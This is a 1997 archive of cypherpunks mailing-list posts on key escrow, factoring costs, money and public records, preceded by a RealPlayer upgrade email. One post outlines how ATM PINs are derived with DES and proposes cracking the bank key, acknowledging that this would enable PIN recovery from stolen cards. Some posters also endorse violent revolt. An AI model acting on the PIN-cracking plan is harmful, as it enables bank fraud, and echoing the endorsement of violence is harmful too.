Message-ID: <199706262143.OAA09756@dmail4.prognet.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear RealPlayer User,

Thank you for using RealAudio and RealVideo.

We are pleased to tell you that the final versions
of RealPlayer and RealPlayer Plus 4.0 with
RealVideo and RealAudio have been released.

You can upgrade to version 4.0 by visiting:

   http://www.real.com/40/index.html

RealPlayer 4.0 features better video quality over
dialup connections, direct access to daily news and
entertainment, and more.

RealPlayer Plus 4.0 offers several enhancements
to the free RealPlayer:

- The Best Quality Audio and Video at 28.8
- One-button Scanning for the Best Live Audio
  and Video on the Web
- Instant Access to Your Favorite RealAudio
  and RealVideo Content
- Free Telephone Technical Support
- 30-day Money Back Guarantee

RealPlayer Plus 4.0 is available from:

   http://www.real.com/40/order.html

We hope you enjoy RealPlayer and RealPlayer Plus 4.0!

Rob Glaser
Chairman & CEO
Progressive Networks


---------------------------------------------
 For information about this e-mail including
 how to subscribe to or unsubscribe from
 future announcements, please visit:
 http://www.real.com/mailinglist/index.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 27 Jun 1997 04:42:11 +0800
To: cypherpunks@toad.com
Subject: Re: The Grand Compromise is Coming
Message-ID: <199706262020.QAA25675@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> 
> >> This is why I think the "use of a special language or
> >> whispering in furtherance of a crime" provisions of SAFE will probably be
> >> struck down by the Supremes, unless they, too, have forgotten what the
> >> Constitution is all about.)

> Back when marijuana was illegal in Oklahoma, during the anti-war years
> when everybody was paranoid that their phones were tapped by the FBI,
> a friend of mine would occasionally have phone conversations like
>         "Hey, Steve, I just got some .... Beer.  Want to come over?"
>         "Yeah, Joe, I'd really like some .... Beer.  I'll be there
>         in about an hour.  Should I bring some .... Pizza?"

  The FBI was involved in the war on cryptography during the LBJ
administration, according to my guitar player at the time.
  He was staying at the Lady Bird Ranch and called his roomate to
tell him he would be out to pick up his "shit" later in the day.
When he got there, the FBI was tearing apart his amp and speakers.
They asked him where his "shit" was and he told them they were
tearing it apart.

  I wonder if Timothy McVeigh phoned Bill Stewart to tell him,
"I'm going to deliver the...Pizza...to the Federal Building."?
(That's an extra five years, right there.)

PizzaMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 27 Jun 1997 08:47:46 +0800
To: tzeruch@ceddec.com
Subject: Re: new money systems
In-Reply-To: <97Jun26.113748edt.32257@brickwall.ceddec.com>
Message-ID: <199706270040.RAA26241@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>
>Gold (content) can be counterfeited, which is why it needs to be assayed
>and there are assay marks on gold bars. 

but the sheer beauty of this is that everyone can independently verify
that gold is real by doing independent assays on it. anyone in an
entire population can do so. however when a government controls the money
supply, you are relying on them to govern the scarcity of it, and not
to steal from the population using inflation. gold does not have this problem.
in fact it doesn't have to be gold, it can be *anything*-- platinum, etc.

the key thing is that as people get more of this material, like from mining
or whatever, that the economic cost of this is not low compared to the
existing supply. and, that new additions of this money going into the
system are negligible compared to the total volume. in fact anyone who
asserts "there isn't enough gold in the world to use for money" is 
marvelously ignorant of economic principles, in which it isn't the
volume but the scarcity (lack of ability to create new volume) that matters.

you see, the government can easily create new money. the government is
right now doing this every time it pays money on a bond. the greed of
the population fails to allow people to realize they are losing money
in the long run. it's guaranteed to crash periodically.

>If there is inflation, or even the hint, people will shift from dollars
>(or pounds, or yen) to something that is not inflating.  It would be
>easier to control if they didn't tax you on the inflation (which they call
>capital gains).

it's a horrible problem that virtually all government currencies are 
being inflated by design by the central banks & the governments involved.
this is done whenever they pay money for bonds, more going out than went
in.

>Try spending british pounds at a US fast food restaraunt (at least one
>that is not adjacent to a UK diplomatic building).  Then you will have to
>go to someone to do the exchange and they will charge a fee.  And then if
>you go to the UK and have to change back, there will be another fee.

fees to convert currency are currently quite negligible. and the fee is
in line with the service to do so. multiple currencies act as checks
and balances on each other, in the same way state independence does, or
should, in the US. do you want one mass amalgamation of everything?
so do various people in the UN working for "nwo".. and unifying the
currency is the key means to do so.

>Thus it is not trivial in practice.  If your money was only good for a 50
>mile radius, and you lost 3% in each exchange, going on vacation would get
>very expensive and you would then call for a universal currency, or
>convert into something like it (accepted by every locality very near par)
>before going on vacation.  But if you convert it into a universal
>currency, why not just leave it as that?

in fact you pay a small percent for every transaction you make on a credit
card that is not likely to be much larger than that involved in currency
trader fees.

>Considering the internet is international, exchange is a big problem and
>will get worse as more transactions require foreign exchange. 

exchange problem is merely one of electrons in wires. it's not a problem,
and it doesn't need to be solved. it's already been solved. only those
who wish greater control assert it is a problem, and that it needs to
be solved. they offer a false solution to a false problem. but their
propaganda is working quite well across the world.

>So although I consider autonomy a virtue, I consider trade a greater
>virtue, so local currencies are good only to the extent they promote both,
>and with the problems of currency exchange, I don't see how trade is
>enhanced by local currencies, but am interested on your thoughts on this
>point since you are more familiar with the narrow topic.

the world requires a mixture of independence and dependence. a local
currency is working toward the former, a global currency toward the 
latter. it's not either/or but a mixture situation.

>Yes, but each currency would then have to be exchanged (at a discount!) 
>and that almost every time any transaction occured.  Unless you are
>willing to exchange any amount of currency without making any profit on
>it, not even to cover expenses or fluctuations in value, this won't work -
>it is trivial to convert currency, but it is not without cost.

why should one expect to make a profit merely by exchanging currency?
there will be very low friction rates involved in the transfer. but
in fact what you get with a global currency is the sum of all these
local friction rates, in an invisible format that you can't measure.
which would you prefer? to know how much it really costs you, or to
have the fees hidden so that you have no way of knowing why what you
want costs more than it seems like it ought to?

>You can have state and local tyrants who want to manipulate the money
>supply.  

or worldwide ones. which is more dangerous? furthermore, as I have been
trying to reveal, it is possible to use a money form that is impossible
to manipulate. that is the advantage of gold that world bankers do not
wish the public to know, because it makes them free and soveriegn and
uncontrollable. hence my interest in this and my interest in promoting
it as a key cypherpunk topic.

good questions:

>In sum, I have a set of questions:  1. Why would local currencies be any
>less subject to manipulation than national currencies which suffer from
>inflation and devalutation when the consequences are the same and the
>national level can't resist? 

I am advocating a currency that is "open" in which it is public knowledge
what everyone owns in that currency. everyone can verify how much of the
currency is in circulation. people cannot use it unless they agree to
the "open" requirement. note that this is only the local currency-- a person
could have many assets not measured in it. that is, I could own far more
than is revealed on these public boards.

> 2. If they aren't going to set the value
>themselves, they will have to fix the value "permanently", since if they
>can change the peg, they can manipulate it, but if they fix the value to
>X, why won't real X be prefered to the note denominated in X.

consider a company that releases "iou [x] service" or "iou [x] product".
if there is knowledge about how many ious are out there, people can
judge for themselve the ability of the individual to repay. an individual
who has 1000 "iou" hours is more inflated than an individual with 
"100 iou hours" in circulation.

  3. As
>long as they have to pick X, if several localities pick gold as X, then
>their currencies then become the same, although having different numbers
>(e.g. 31 & change gram notes v.s. 1 troy ounce notes) - why have a dozen
>currencies which are merely different numbers representing the same amount
>of a commodity (except to manipulate later)?

local independence.  a community that is self-sustaining shouldn't be
taxed by a community that isn't, imho. this is the real message of the 
revolution of 1776 and man's century-long desire to escape slavery and tyranny.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 27 Jun 1997 07:03:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Comparing Cryptographic Key Sizes II
In-Reply-To: <199706250645.IAA16548@basement.replay.com>
Message-ID: <199706261714.SAA00698@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Anonymous writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> >I can assure you
> >that in moving from a 1024 bit key to a 4096 bit key, the attackers
> >job is well in excess of 50x harder.  Greatly in excess of a trillion
> >trillion times harder.
> 
> First part true, second part false.  See Schneier, p.160.  Extrapolating
> using GNFS factoring indicates ratio of 1E21.  If SNFS factoring becomes
> possible it is much worse, ratio less than one million.

Schneier (the quote you give) gives this table (some values omitted):

# of bits		MIPS-years required to factor
512 bits		3*10^4
1024 bits		3*10^11
1536 bits		3*10^16
2048 bits		3*10^20

How are you extrapolating that to 4096 bits?  Hardness to break
increases as a superpolynomial function of the key size.  The memory
requirements increase with key sizes, also, which I don't think these
figures are taking into account.

If someone would like to post the big O notation for GNFS space and
time complexity, plus current estimates of the constants, perhaps we
could improve upon that.

I reckon my estimate is conservative, if hardness relates to cost,
rather than mathematical number of operations ignoring memory
considerations.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 27 Jun 1997 09:30:37 +0800
To: Adam Back <trei@process.com
Subject: ATMs a better target (was: breaking RSA in hardware)
In-Reply-To: <199706251502.QAA24075@hermes>
Message-ID: <v03102802afd8c2f7046e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:51 PM +0100 6/26/97, Adam Back wrote:
>Peter Trei <trei@process.com> writes:
>> > [DES breaking]
>>
>> [useful stats]
>Perhaps it would be interesting to look at the economics of a well
>funded attacker breaking a 512 bit RSA key.  If we asume that they
>would do it in software, and had to buy the machines, would you be
>better to buy fewer workstations with 128Mb or lots with 16Mb.  Factor
>of 17 speed up using GNFS acording to your estimates of DES, and
>Lenstra's for GNFS RSA.
>
>So perhaps we're looking at motherboard $100, cpu $100, PSU+case $100
>+ 16Mb RAM $100 = $400.  The same, but with 128Mb $1100.
>
>So that's a 1100 / 400 = 2.75 ratio.  Clearly buying the larger memory
>PCs is the way to go.
>
>Overall GNFS is 6x cheaper it would appear.
>
>However, really the interesting question is how much would it cost to
>break RSA in hardware.  How expensive would it be to build a custom
>hardware machine to break RSA.  What building blocks would be needed.
>How much memory.  What would be the most efficient approach.
>

Seems that unless future crypto breaks compromise something everybody can
appreciate, they be little lasting PR value.

Colin Plumb, colin@nyx.net, said

>I don't know if everyone is aware, but all of the ATM cards floating
aroud use DES to protect the PIN.  With ine key sealed in tamper-proof.
Wouldn't *that* be a fun key to have?

>The details are published somehwere.  Basically, you encrypt some card
info to get a 16-character hex string.  Some 4 nybbles of that, reduced
mod 10 (so 0-5 are more likely than 6-9) are the "master PIN".

>An offset from this (added per-digit, mod 10) is stored in clear on the card
to allow programmable PINs.  But most cards ship with the offset set
to 0 and the default PIN is the master PIN.

>You just need a few people with closed accounts to volunteer their
ATM cards to mag stripe readers.  The work would be somewhat greater
since you need to do multiple decryptions to get a full validation;
you'd need to do weed out the impossible in stages.

>I'm not sure if the fraud possibilities (it lets you recover the
PINs from stolen ATM cards) are worth it, but it would sure raise
a ruckus...
--
>	-Colin

The crack project should publish all schematics and source prior to the
project start and the key server should definitely be offshore, since US
regulatory agencies might step in to prevent the experiment from reaching
its conclusion.

I think one of the list's lawyers should investigate the legal risks to the
participants.  I have an account I'm willing to donate for the experiment.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 27 Jun 1997 10:16:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: there is no middle ground (Re: The Grand Compromise is Coming)
In-Reply-To: <v0310280bafd607388c55@[207.167.93.63]>
Message-ID: <v03102804afd8cf96b5e5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:18 AM -0700 6/26/97, Adam Back wrote:

>So you might argue that this would make the privacy lobyists seem more
>middle of the road.  However crypto is binary, either it's free, or
>it's GAKked, so they (the privacy lobbyists) can't disavow crypto
>anarchy, because it's a consequence of the technology and legal frame
>work they want for privacy.  There's nothing in between.

I of course agree that there's nothing in between, and that free and full
access to strong crypto implies crypto anarchy (in some form, not
necessarily full-blown anarcho-capitalism in all areas).

I don't think massively publicizing crypto anarchy will serve to make the
privacy lobbyists "seem more middle of the road." More likely, if Congress
ever figured out what strong crypto really means, they'd ban it
immediately. And if the Supreme Court ever figured it out, they'd uphold
the ban.

>My conclusion was that the crypto anarchy conclusions are pretty much
>in line with some of the NSAs scare stories and their spin is being
>used as an argument for GAK.

I agree. The NSA, FinCEN, etc., figured out the implications the same way
we did. Maybe nobody in these agencies was very publically trumpeting them,
for various obvious reasons, and maybe not as early as some of us were
(1981-87), but they certainly reached the same conclusions in recent years.

This doesn't mean we're not in a state of war with each other, though.

They know that if we win, they lose. We know that if they win, we lose. Simple.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 27 Jun 1997 09:05:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Supreme's decisions...
Message-ID: <199706270038.TAA00815@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text




CDA...Yeah!

Assissted suicide...Boo!


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 27 Jun 1997 23:22:55 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Bomb Making Info to be Illegal
In-Reply-To: <v0310280bafd83fcea0f8@[10.0.2.15]>
Message-ID: <Pine.LNX.3.91.970626193506.152D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> >The reasoning was that while offensive, unorthodox, or hateful ideas
> >are protected by the 1st, they, unlike pornography, have at least *some*
> >redeeming social value.  The court noted that laws enacted after the
>
> I can't see that anyone, including the courts, should use redeeming social
> value as a yardstick.  This term has all the hateful aspects of one group's
> mores being used to limit the freedom of their neighbor in the privacy of
> their home and thoughts.  After all, one man's ceiling is another man's
> floor.

I agree, besides the argument rests on direct democracy: The idea that 
something revolting or distasteful to a majority of people is therefore 
inherently wrong. Any idea or form of speech, even if 100% of a social 
group dislike it, is not criminal.  

> What if we create religion who's practice requires use and possesion of
> child porn?  Wonder how the SC would rule, given its rulings allowing use
> of peyote by certain native American tribes and against the Mormons on the
> issue of bigemy.

Maybe this would be a good test case, where is kibo when you need him ;-)...

> I think resistance to such limitations should go beyond legal avenues.

This and other issues should elicit such a response from reasonable 
people, the law is a useful tool in some cases but is not the right way 
to go about removing an unjust law, civil disobediance and, in extreme 
cases, even violent revolt are the best methods.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 27 Jun 1997 07:50:47 +0800
To: Alan Olsen <root@nwdtc.com>
Subject: Re: NEWS.COM - Rumor Mill
Message-ID: <v03007801afd8ae90f9e7@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Not a rumor -- it's true. Crowell was wandering around wondering what was
going on.

The excuse was that ~60 votes were scheduled on the Senate floor yesterday.

-Declan


At 14:26 -0700 6/26/97, Alan Olsen wrote:
>No Freeh lunch?
>
>
>http://www.news.com/Rumors/0,29,,00.html
>
>At the end of the article...
>
>While hackers were getting busy, the crypto honchos were
>getting dissed in D.C. Apparently, a group of bigwigs,
>including Louis Freeh of the FBI, William Crowell of NSA,
>Peter Neumann of SRI, and Ray Ozzie of Lotus, flew all the
>way out to the nation's capital for a Senate Judiciary
>Committee hearing on cryptography, only to be informed 20
>minutes before the meeting that it had been canceled.
>Grumbling ensued as the various participants stormed back
>to Dulles airport. The meeting may pick up after the July 4
>recess.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Fri, 27 Jun 1997 09:21:55 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Top ATM maker signs deal with eye-scanning technology firm
In-Reply-To: <Pine.LNX.3.91.970626142951.381D-100000@fatmans.demon.co.uk>
Message-ID: <Pine.SOL.3.96.970626201239.15341A-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



By the same token, the fingerprint system involves hacking off
at least a finger, and more likely both hands--after all, how
do you know I'm telling the truth about which finger it is?:)

Personally, biometric ATMs don't sound like a consumer-friendly
product to me.
MacN 

On Thu, 26 Jun 1997, Paul Bradley wrote:

> 
> >    TRENTON, N.J. (June 24, 1997 9:38 p.m. EDT) -- NCR Corp., the world's
> >    top maker of automated teller machines, plans to start offering
> >    machines that identify the user by scanning the eye.
> 
> This is not a good idea for ATMs, I have said this many times before: 
> 
> At present unauthorised use of someones account involves stealing their 
> ATM card and PIN, which is insured against if reported soon anyway. If 
> biometric ID becomes commonplace theivery of this kind involves either:
> 
> 1. Gouging out someones eyeball (would this actually work or would the 
> damage done to the eye render it useless?)
> 
> Or, more likely:
> 
> 2. Kidnapping the account holder and forcing them to ID themselves at 
> gunpoint/knifepoint.
> 
> 
> I would sure as hell rather have the inconvenience of going home and 
> calling the CC company to report a stolen card, than be kidnapped and 
> possible harmed for a few $.
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul@fatmans.demon.co.uk
>   Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Fri, 27 Jun 1997 11:55:06 +0800
To: cypherpunks@toad.com
Subject: EAR cookbook anyone?
Message-ID: <Pine.GUL.3.95.970626200529.399A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain



We would like to distribute strong encryption (PGP, Netscape, MSIE,
Kerberos, SSH, lynx-ssl, etc.) to people affiliated with our institution
without prejudice to their current location, as the Fortune 100 can do with
PGP. Today I got management to agree that it would be worth my time to
ensure that we do so legally and publicly (though we had already decided to
distribute said software to new and continuing affiliates worldwide
regardless). 

There's a lot of examples of ITAR CJR's online, but I don't see any examples
of EAR whatchamacallits. Are we really going to need some lawyer for this,
or can't I just send Commerce a form letter, say, tomorrow afternoon? Form
letters my department can fill in and sign, but paying a lawyer would
require a level of bureaucracy that I'd rather not deal with.

The deadline in any case would be August 25th. 

-rich
 i'm back... if i haven't responded to your mail sent the last week and a
 half, it's probably because it just wasn't interesting. nothing personal.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 27 Jun 1997 21:55:36 +0800
To: cypherpunks@toad.com
Subject: Re: William Just doesn't get it.
In-Reply-To: <Pine.SUN.3.96.970624113126.8208A-100000@beast.brainlink.com>
Message-ID: <LimX9D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



My computer is generally down these days - I brought it up for a short
while to check the e-mail, but will be taking it down again soon...

Ray Arachelian <sunder@brainlink.com> writes:
> Asking the state to protect my privacy by not disclosing the information I
> disclose to it is not asking the state to engage in secret activities with
> select members of society.  It is asking it not to release information
> that I am forced to give them in return for certain goods, services, or
> privilidges - driving for example.  Having a driver's license doesn't mean
> I wish to share the information that the DMV requires to provide such a
> license to the world.

Not that it means much, but: we both live in NYC.  I have a licence, but
I haven't driven the car in probably 3 or 4 years (my wife takes the darn
thing all the time).

One can live in NYC or SF and not have a car or licence. On the other hand
one can live in NYC and drive a gypsie cab and not have a licence (apparently
lots of people do!) because if you're pulled over and you don't have a
license, you're not arrested, and your car is not impounded - you're just
given a ticket which you don't have to pay.  Tickets are for suckers like
us who are in the system.

> Paying taxes doesn't mean I wish to disclose my 1040 form to the world.

It's public in some Scandinavian countries.  I recall that there anyone can
check the balance on your bank account.

> > Criminal Records
>
> As for these, IMHO, once a criminal has completed their sentence they
> should be allowed to have a life.  Having these records available to all
> is a means of discriminating against them for having commited a crime as
> judged by a jury.  Not necessarily having commited the crime, but being
> convicted of doing so - as is well known mistakes have been made and lives
> have been destroyed by such mistakes.

But of course not just the conviction record but the arrest record is
public information.

> > Voter Registrations
>
> These too can be both a benefit and an infringement on privacy.  Whatever
> information these records hold might be used for other purposes.

These are public in the U.K.  Indeed they'd find electioneering much
harder if they weren't.

> > Census Records
>
> Why?  What is the purpose of having these records available in forms other
> than a number?

Why, to round up all the japs, to confiscate their homes and businesses,
and to ship them to concentration camps. :-)

> > Building Permits
>
> I agree here.

I don't see why anyone other than a buglar should be interested in the
intrnal layour of someone home. :-)

> > Profesional Licenses
>
> Sure, but only so far as to say "Yep, person X has this license" not "and
> they live on xyz street, have three kids, and a poodle."

How about: patient X complaint about Dr. Y.

> > Court Transcripts
>
> Granted.

How about: Mrs. X is suing Mr. X for divorce and alleges that he's
been sexually molsting their kids.  In practice, this happens very
often, and is usually dismissed by the family court as pure bulshit.

How about adoption records...

> allowed to do.  For instance many places where gambling is illegal provide
> lotteries with astronomical odds against the player.  Were the things done
> by casinos, nobody would play.

But of course: if private casinos were allowed to compete against
the gubmint-run lotteries, they'd offer better odds, and no one would
play gubmint lotteries.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 27 Jun 1997 13:42:37 +0800
To: Declan McCullagh <aba@dcs.ex.ac.uk>
Subject: Re: Comparing Cryptographic Key Sizes II
In-Reply-To: <199706242233.XAA00222@server.test.net>
Message-ID: <v03007817afd8fb14a226@[207.94.249.169]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:25 PM -0700 6/24/97, Declan McCullagh wrote:
>At 23:33 +0100 6/24/97, Adam Back wrote:
>>I don't think we can explain it any more technically and expect it to
>>be useful to a journalist.
>
>...
>
>Now, I don't want to start a "who's the geekiest geek" contest, since y'all
>will win hands-down -- but I want to point out that while we may not be
>crypto-whizzes, not all of us are entirely clueless either.

I'm not worried about the journalist-with-a-clue.  I am worried about Joe
citizen (the restless "sheepie").  I believe deep in my heart that if Joe
citizen understood the issue, he'd say, "No way am I going to let some
government bastard paw through my personal business."  Based on this
belief, I applaud Adam's attempt to explain the crypto issues in simple
language.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 27 Jun 1997 07:14:09 +0800
To: trei@process.com
Subject: breaking RSA in hardware (was Re: Comparing Cryptographic Key Sizes II)
In-Reply-To: <199706251502.QAA24075@hermes>
Message-ID: <199706262151.WAA00229@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Peter Trei <trei@process.com> writes:
> > [DES breaking]
>
> [useful stats]
>
> So, to summarize:
> 
> Using GNFS, on clients with 128M of memory, you could factor a 512
> bit modulus in 28,000 MIPS years. With 500,000 MIPS years, you could
> factor a 600 bit modulus.
> 
> Using QS, in 500,000 MIPS years you could factor a 512 bit modulus on
> machines with modest memory requirements.

Remarkably close to my original figure :-) (same as DES I said, you
estimate DES to be 475,000 MIPS).  So, even though GNFS is faster, if
we don't have the hardware, it'll be better to use QS because using
GNFS whilst continually paging will be even worse.

> The effects of memory speed and bandwidth would slow things down
> somewhat.

Yup.

With DES software is not at all an efficient way to break DES,
compared to a Wiener machine.  Unfortunately the press releases have
had very little to say about the true cost of breaking DES with
hardware.  

Perhaps it would be interesting to look at the economics of a well
funded attacker breaking a 512 bit RSA key.  If we asume that they
would do it in software, and had to buy the machines, would you be
better to buy fewer workstations with 128Mb or lots with 16Mb.  Factor
of 17 speed up using GNFS acording to your estimates of DES, and
Lenstra's for GNFS RSA.

So perhaps we're looking at motherboard $100, cpu $100, PSU+case $100
+ 16Mb RAM $100 = $400.  The same, but with 128Mb $1100.

So that's a 1100 / 400 = 2.75 ratio.  Clearly buying the larger memory
PCs is the way to go.

Overall GNFS is 6x cheaper it would appear.

However, really the interesting question is how much would it cost to
break RSA in hardware.  How expensive would it be to build a custom
hardware machine to break RSA.  What building blocks would be needed.
How much memory.  What would be the most efficient approach.

Would it be cost effective to use NTTs RSA chip?  What would be the
most efficient way to distribute the memory.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 27 Jun 1997 07:05:29 +0800
To: declan@well.com
Subject: clueful 'hacks? (was Re: Comparing Cryptographic Key Sizes II)
In-Reply-To: <v03007829afd64d414288@[168.161.105.191]>
Message-ID: <199706262214.XAA00303@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh <declan@well.com> writes:
> At 23:33 +0100 6/24/97, Adam Back wrote:
> >I don't think we can explain it any more technically and expect it to
> >be useful to a journalist.
> 
> Um, some of us journalists have *gasp* taken computer science classes,
> programmed in machine code, crafted compression routines, written our own
> Unix shells, etc.
> 
> Now, I don't want to start a "who's the geekiest geek" contest, since y'all
> will win hands-down -- but I want to point out that while we may not be
> crypto-whizzes, not all of us are entirely clueless either.

Present company excluded, naturally :-)

We all know you're not clueless.  I agree with most of your articles,
usually idealogically, and technically also.  You're perhaps more of a
crypto anarchist, libertarian type fighting for the cause using
journalism as a vehicle for prosletizing than yer average 'hack anyway :-)

But the low level of crypto understanding of some journalists clearly
shows through in the articles they write, where there are garbled
facts, non-standard terminology, and complete falsities.  Half the
articles you read which mention crypto make you wince at the
innacuracies and misconceptions.  The balance given to FBI and NSA
scare stories varies also.

It's good that there are a few technically minded journalists.  I know
a few myself.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 27 Jun 1997 14:43:13 +0800
To: cypherpunks@Algebra.COM
Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
Message-ID: <3.0.32.19970626233120.006c04f4@best.com>
MIME-Version: 1.0
Content-Type: text/plain



[Congressional Record: June 25, 1997 (Extensions)]
[Page E1320]
>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
[DOCID:cr25jn97-18]

 
               ENCRYPTION BILL: AN EXERCISE IN DECEPTION

                                 ______
                                 

                            HON. ZOE LOFGREN

                             of california

                    in the house of representatives

                        Wednesday, June 25, 1997

  Ms. LOFGREN. Mr. Speaker, last week the Senate Commerce Committee 
reported a bill, S. 909, sponsored by Senators McCain and Kerrey, which 
largely embodies the latest administration proposals to deal with 
encryption technology. This misguided legislation (S. 909) would be a 
great leap backward in the effort to reform current American export 
restrictions on encryption and remove serious impediments to the 
competitiveness of our Nation's high-tech industry.
  In addition, by proposing unprecedented domestic controls on the use 
of encryption, the McCain-Kerrey bill also poses serious threats to 
fundamental civil liberties and privacy rights. I believe that the 
Senate effort is propelled largely by a lack of understanding of both 
the worldwide prevalence of strong encryption and the technical 
challenges posed by the massive key recovery-escrow infrastructure 
envisioned in the bill.
  Earlier this week, Mr. Dan Gillmore, columnist for the San Jose 
Mercury News discussed the problems with S. 909 and strongly urged a 
rejection of the McCain-Kerrey approach. I submit his column into the 
Congressional Record.

            [From the San Jose Mercury News, June 23, 1997]

          Encryption Bill: Federal Exercise in Self-Deception

                            (By Dan Gillmor)

       As a bill bearing his name zipped last week through the 
     Senate Commerce Committee he heads, Arizona Republican John 
     McCain said, ``This bill carefully seeks to balance the 
     concerns of law enforcement with individual privacy 
     concerns.''
       The legislation, co-sponsored by Nebraska Democrat Bob 
